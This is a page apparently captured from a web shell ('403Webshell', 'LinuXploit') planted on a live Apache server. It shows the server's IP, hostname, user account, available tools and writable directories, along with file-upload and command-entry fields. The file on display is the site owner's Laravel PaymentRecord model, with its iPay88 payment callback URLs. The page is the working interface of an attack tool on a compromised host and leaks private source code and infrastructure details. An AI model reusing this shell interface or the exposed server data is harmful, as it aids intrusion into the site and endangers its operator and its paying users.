403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache2/htdocs/app/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache2/htdocs/app/app/Models/PaymentRecord.php
<?php

namespace App\Models;

use App\Classes\Polarity;
use Illuminate\Database\Eloquent\Casts\AsArrayObject;
use Illuminate\Database\Eloquent\Model;
use IPay88\Requests\RequeryBuilder as IPay88RequeryBuilder;
use IPay88\Requests\RequestBuilder as IPay88RequestBuilder;
use Pylon\Traits\Models\HasSearchScope;

class PaymentRecord extends Model
{
	use HasSearchScope;

	protected $fillable = [
		'unique_id',
		'user_id',
		'type_id',
		'amount',
		'status_id',
		'remark',
		'request_meta',
		'response_meta'
	];

	protected $casts = [
		"request_meta" =>  AsArrayObject::class,
		"response_meta" =>  AsArrayObject::class,
	];

	const TYPE_CREDIT_TOP_UP = 1;
	public const TYPES = [
		self::TYPE_CREDIT_TOP_UP => "Credit Top Up",
	];

	protected $appends = ['type','status','err_desc'];

	//  accessor
	public function getTypeAttribute()
	{
		return self::TYPES[$this->attributes['type_id']];
	}
	public function getStatusAttribute()
	{
		switch ($this->attributes['status_id']) {
			case Polarity::POSITIVE:
				return "Payment Success";
				break;
			case Polarity::NEGATIVE:
				return "Payment Failed";
				break;
			case Polarity::NEUTRAL:
				return "-";
				break;
			default:
				return "Unknown";
				break;
		}
	}
	public function getErrDescAttribute()
	{
		return $this->response_meta['errDesc'] ?? '~Record Not Available~';
	}

	//  relationship
	public function user()
	{
		return $this->belongsTo('App\Models\User', 'user_id')->withTrashed();
	}

	// others
	public function toIPay88Request() : IPay88RequestBuilder
	{
		$builder = new IPay88RequestBuilder();
		$builder->setRefNo($this->unique_id);
		// $builder->setAmount(1);
		$builder->setAmount($this->amount);
		$builder->setCurrency($this->request_meta['currency']);
		$builder->setProdDesc($this->request_meta['prodDesc']);
		$builder->setUserName($this->request_meta['userName']);
		$builder->setUserEmail($this->request_meta['userEmail']);
		$builder->setUserContact($this->request_meta['userContact']);
		$builder->setResponseURL("https://app.zlock.com.my/api/payment/p88_callback");
		$builder->setBackendURL("https://app.zlock.com.my/api/payment/p88_be_callback");
		return $builder;
	}

	public function toIPay88Requery() : IPay88RequeryBuilder
	{
		$builder = new IPay88RequeryBuilder();
		$builder->setRefNo($this->unique_id);
		// $builder->setAmount(1);
		$builder->setAmount($this->amount);
		return $builder;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit